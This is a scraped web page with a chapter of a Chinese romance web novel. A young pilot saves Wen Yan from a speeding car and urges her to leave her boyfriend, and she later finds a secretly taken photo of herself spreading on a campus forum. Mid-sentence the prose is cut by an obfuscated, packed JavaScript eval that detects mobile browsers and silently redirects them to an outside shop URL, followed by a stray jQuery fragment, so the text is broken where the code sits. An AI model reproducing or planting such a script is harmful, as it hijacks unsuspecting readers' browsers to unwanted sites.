文趣网 > 其他小说 > 温言软语 > 5. 第 5 章
    温言醒来时,宾利车正停在路边打着双闪。易斯忱趴在方向盘上偏头看她,见她一缕头发翘起,脸上还带着刚睡醒的茫然,弯了眼睛。

    “醒了?”他揉了揉脖颈,从杯架里拿起一瓶矿泉水,拧开瓶盖递给温言,“喝一口,润润嗓子。”

    “……谢谢。”

    温言道了声谢,接过水瓶喝了一小口。清凉的液体从唇齿划过干涩的咽喉,驱散几分倦意。

    凌晨的街道萧瑟非常,法桐叶在路灯下打了个旋。她透过车窗看到熟悉的小区大门,回头见易斯忱脸上压出的几道红印子,眨了眨眼:“到很久了吗?”

    “不久。”

    他连想都没想就给了她答案,瞥了一眼手表,随意道:“也就半个小时。”

    “你怎么不叫我?”

    她眼睛睁圆了些,忙低头翻起了背包。

    易斯忱单手握着方向盘,专注地看着她慌乱模样。虽然他自己今早也有飞行模拟训练,但比起开飞机,他更珍惜眼下和温言独处的时光。

    “你睡得正香,而且……”

    他尾音刻意拉长,温言下意识问出声:

    “而且什么?”

    “好看。”

    温言好不容易从包里翻出手机,正查着课表,见今天只有下午一节课,心里刚松了口气,听到他这两个字险些把手机扔出去。

    她以为自己出现了幻听,犹疑地抬起头向他确认:

    “你刚才说什么?”

    “我说,你睡着的样子,很好看。”

    他眼含笑意,表情真挚不似作伪,偏偏说出的话让她起了一层鸡皮疙瘩。温言扯了扯嘴角,半天才从嗓子里挤出一句话:

    “谢谢你送我回来,我先走了。”

    她捏了捏自己温热的手心,毫不犹豫地按了开门键下车。枯叶踩在脚下“咔嚓”作响,微卷的发梢被风撩起,温言数着绿灯倒计时,不急不徐地走在斑马线上。不远处,一辆通体漆黑的SUV疾驰而来,车主没有刹车鸣笛,唯留两盏远光灯刺目晃眼。

    “温言!”

    她还在路上踢叶子,忽然听到易斯忱焦急的呼喊,尚未来得及回头,一只带着薄茧的手便紧紧攥住她的手腕。浓烈的薄荷气息强势侵入她的鼻腔,她被他拽的脚下不稳,猛地扎进他怀里,秀气的鼻梁撞上他锁骨时发出一声闷响。

    温言忍着鼻梁的酸意,强行被他带离原地,而就在这短短几秒,那辆黑色SUV旁若无人般擦着她衣摆闯过红灯,消失在十字路口。

    “艹!赶着投胎啊!”

    易斯忱忍不住对着空荡的十字路口怒骂,他额角出了层细汗,下颌紧绷。温言感觉到,他抱着自己时的身体在微微颤抖。她张了张嘴,想说些感谢的话,可眼下二人的姿势委实不适合道谢。

    她被他拥着退回梧桐树下,轻咳一声,意图提醒他放开自己,可易斯忱就像没听到她的声音一般,将她抱得更紧了些,自然而然地将下巴抵在温言头顶,低语时,结实饱满的胸膛也跟着微微发震:

    “温言……你吓死我。”

    他的语气比今晚的月色还要缱绻。温言说不上自己究竟是紧张还是后怕,一向平稳的心跳竟错乱几拍。她放轻了呼吸,秋风适时拂过,凉意让她的大脑清醒几分。见眼前这人毫无放手的趋势,她拍了拍环着自己腰身的那条手臂:

    “……可以放开我了吗?”

    温言说话时的声音有些发闷,她被他密不透风的裹在怀里,微凉的鼻尖贴着他卫衣领口,而他高大精壮的身体替她挡住了一阵阵初秋的寒气。

    “行,马上放开。”

    易斯忱不舍的松了手,分开前偷偷吸了一口她衣服上清淡的玫瑰香。

    他听得出来,她的语气虽仍带着惯有的礼貌与疏离,但对他的态度似乎已经从讨厌变成了无感。这一小小的发现让他心中雀跃,咬着舌尖才没笑出声。他绕着温言走了一圈,见她只有衣摆沾了点灰,这才彻底放下心来。

    “吓到了?”

    他微微弯腰与温言视线齐平,看着她苍白的脸色,低声安慰:

    “没事了,别怕。”

    “……我没怕。”

    他脸上不见散漫,看向她的眼里全是认真。温言压着睫毛,盯着两人相对的鞋尖,心跳渐渐平复后才开了口:

    “你怎么还没走?”

    “给你送东西。”

    她抬头对上他的眼,见他站直了身子,把手伸进上衣口袋摸索,摊开手掌时,一颗小巧的耳钉静静躺在他手心,莹白珍珠在月光下泛着微弱的光泽。

    温言碰了碰自己的耳朵,左耳垂上果然空空荡荡。她从他手里接过耳钉,光滑的珍珠表面还残留着他掌心的温热:

    “……谢谢。”

    “你今天和我说了七次谢谢。”

    易斯忱一手插进衣兜,歪着头看她。他余光扫过十字路口,额前碎发被风掀起几分,隐隐露出高挺的眉骨。

    “既然要谢我,不如……”他后退两步,上半身懒散地倚靠在树干上,“回答我一个问题。”

    “什么问题?”

    温言攥紧了背包肩带,她悬着一颗心,总觉得眼前这人说不出什么正经话。

    “什么时候和他分手?”

    月光在阴云的遮掩下黯淡几分,绿化带里响起一阵突兀的蝉鸣,温言看着他的脸,心率再次不正常起来——这次是被气的。

    她在心里默念了几十遍:他刚刚救了自己,不能骂他,随后才缓缓吐出一句:

    “你在开玩笑吗?”

    “我是认真的。”一片干枯黄叶落在易斯忱脚边,他神色坦然,“既然你要交男朋友,为什么不选我?周愿他配不上你。”

    这话说的太过理直气壮,温言险些要为他的厚颜鼓掌,她盯着他的眼睛反问:“他配不上,你就配得上了?”

    “我也配不上,但肯定比他强。”

    温言想骂他一句无耻,但又觉得这两个字对他可能毫无杀伤力。

    “我是周愿的女朋友!”

    “那你喜欢他吗?”

    “……”

    简单的几个字如同山峦般压在温言心上。她喜欢周愿吗?喜欢,当然喜欢。

    他是她的初恋,他温柔体贴,面面俱到,这样的一个人,换谁都会喜欢。可……每当他牵着她的手,她心里总会感觉怪异;他吻她时,她的第一反应永远是躲避……

    她喜欢两人的志趣相投,却

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788786|210284||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不习惯与他过分亲昵,这是男女之间的喜欢吗?她想不通。

    既然想不通,温言索性不再思考这个问题,她眼眶带了点红,迎着易斯忱期待的目光,静静开口:

    “我喜不喜欢他不关你的事,而且,”她顿了顿,语气更加坚定,“我不喜欢单眼皮。”

    时间仿佛突然静止,又好像走了很久,他们都没得到想要的答案。路灯杆的影子投在柏油路面,像一堵高墙隔在两人之间。

    一抹刺目的红猝不及防撞进温言眼中。她沉默着从背包侧袋摸出一枚创可贴塞到他手里,转身离去,徒留易斯忱站在原地盯着她的背影发呆。

    他将创可贴凑近鼻尖轻嗅,沉醉般眯起眼。印着卡通图案的创可贴上沾着与她衣服上同样的玫瑰香,他看了一眼虎口处渗血的伤口,甩了甩手,将创可贴细致地收进口袋。指尖碰到手机,他便顺手把它掏了出来,打开浏览器一脸严肃地搜索,“飞行员可不可以做双眼皮手术”。

    几十条答案蹦出,他绷着神经,逐一翻看。

    *

    温言回了父母在校外买给她的平层,她没开灯,径直扑在沙发上。

    三百多平的房子在凌晨四点的京市总显得格外冷清,困意再次席卷全身。随手搁置的手机顺着沙发滑落在地,带了些回声。她半阖着眼捡起手机,点开屏幕时,寝室群消息一条接一条刷新,张嘉禾和陈露两人正疯狂艾特她。

    【张嘉禾】:温言!你被挂了!不是,你被挂论坛了!

    【陈露】:有人偷拍你的照片发表白墙捞人,结果被人放到论坛了!

    【陈露】:现在好多人都在问你的名字和学校!

    【张嘉禾】:你要火了温小言!

    ……

    温言从一百多条消息里精准捕捉到最重要的几条,她打开陈露分享的论坛链接,一篇名为“全网捞这个女生”的帖子虽已发布将近30个小时,但热度仍居高不下,牢牢占据榜首。温言好奇地展开全文,随着指尖的滑动,她眉头拧得越来越紧。

    洋洋洒洒几千字不知所云的告白,配上一张她在航大篮球馆被偷拍的侧脸照,竟能引起几千条讨论。

    这些人难道都不用上课上班的吗?

    她把手机甩到一边,起身去浴室洗澡,心里还惦记着明天联系管理员删帖。

    浴室里水汽氤氲,温言在浴缸里泡得晕晕乎乎,全然不知,一条“她叫温言,是我们清大计算机系的学生,本人比照片还好看”的评论,一夜之间就被顶到评论区第一的位置。

    温言这一觉睡的很沉,醒来时已经日上三竿。她揉揉微肿的眼睛,看了一眼天气预报,从衣帽间翻出一件白色卫衣和一条牛仔裤换上,洗漱后就走着去了学校。

    她的房子离清大不算远,十五分钟足够她走到学校大门。虽然今天的温度相较昨天而言低了些,但正午的太阳还是晒得人浑身暖洋洋。

    张嘉禾刚刚给她发了消息,要温言帮忙在校外买一份糖炒栗子。刚好温言也有些嘴馋,便转了个方向,准备到马路对面的干果店买栗子。

    她站在路边人群里,等待绿灯亮起的间隙,突然听见一道带着些沙哑的女声在身后唤她的名字:

    “温言。”